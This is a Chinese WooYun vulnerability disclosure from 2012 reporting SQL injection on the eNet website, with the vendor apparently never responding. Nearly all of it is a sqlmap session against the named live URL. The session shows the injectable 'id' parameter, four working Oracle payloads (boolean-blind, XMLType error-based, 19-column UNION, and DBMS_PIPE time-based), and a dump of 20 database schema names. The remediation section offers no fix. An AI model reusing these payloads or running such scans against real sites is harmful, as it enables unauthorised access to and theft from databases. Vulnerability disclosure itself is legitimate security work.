当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07036

漏洞标题:eNet硅谷动力网站- SQL注入漏洞

相关厂商:硅谷动力

漏洞作者: 路人甲

提交时间:2012-05-13 18:31

修复时间:2012-06-27 18:32

公开时间:2012-06-27 18:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-06-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

eNet硅谷动力网站- SQL注入漏洞
作者:眼神

详细说明:

注入点 http://www.enet.com.cn/enews/inforcenter/itdate/itdate.jsp?id=2
root@bt:/pentest/database/sqlmap# python sqlmap.py -u "http://www.enet.com.cn/enews/inforcenter/itdate/itdate.jsp?id=2" --dbs -v 0
sqlmap/1.0-dev (r4766) - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:14:24
[12:14:24] [INFO] using '/pentest/database/sqlmap/output/www.enet.com.cn/session' as session file
[12:14:24] [INFO] resuming injection data from session file
[12:14:24] [INFO] resuming back-end DBMS 'oracle' from session file
[12:14:24] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 5086=5086
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: id=2 AND 4513=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(111)||CHR(117)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (4513=4513) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(109)||CHR(103)||CHR(111)||CHR(58)||CHR(62))) FROM DUAL)
Type: UNION query
Title: Generic UNION query (NULL) - 19 columns
Payload: id=2 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CHR(58)||CHR(111)||CHR(117)||CHR(107)||CHR(58)||CHR(100)||CHR(113)||CHR(112)||CHR(68)||CHR(103)||CHR(116)||CHR(74)||CHR(89)||CHR(118)||CHR(85)||CHR(58)||CHR(109)||CHR(103)||CHR(111)||CHR(58), NULL, NULL, NULL, NULL, NULL, NULL FROM DUAL--
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: id=2 AND 7327=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(67)||CHR(101)||CHR(103),5)
---
[12:14:25] [INFO] the back-end DBMS is Oracle
web application technology: Apache, JSP
back-end DBMS: Oracle
[12:14:25] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[12:14:25] [INFO] fetching database (schema) names
available databases [20]:
[*] ADV
[*] ARTICLE_COMMENT
[*] B2B_ADMIN
[*] DBSNMP
[*] EKA
[*] FASHION
[*] FILTER_ADMIN
[*] IDC
[*] IFLOW_ADMIN
[*] IFLOW_ENEWS
[*] OUTLN
[*] PASS
[*] PDB_ADMIN
[*] ROBOT
[*] SHOW
[*] SYS
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XPDB_ADMIN
[12:14:25] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.enet.com.cn'
[*] shutting down at 12:14:25

漏洞证明:

修复方案:

你们懂得!!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:8 (WooYun评价)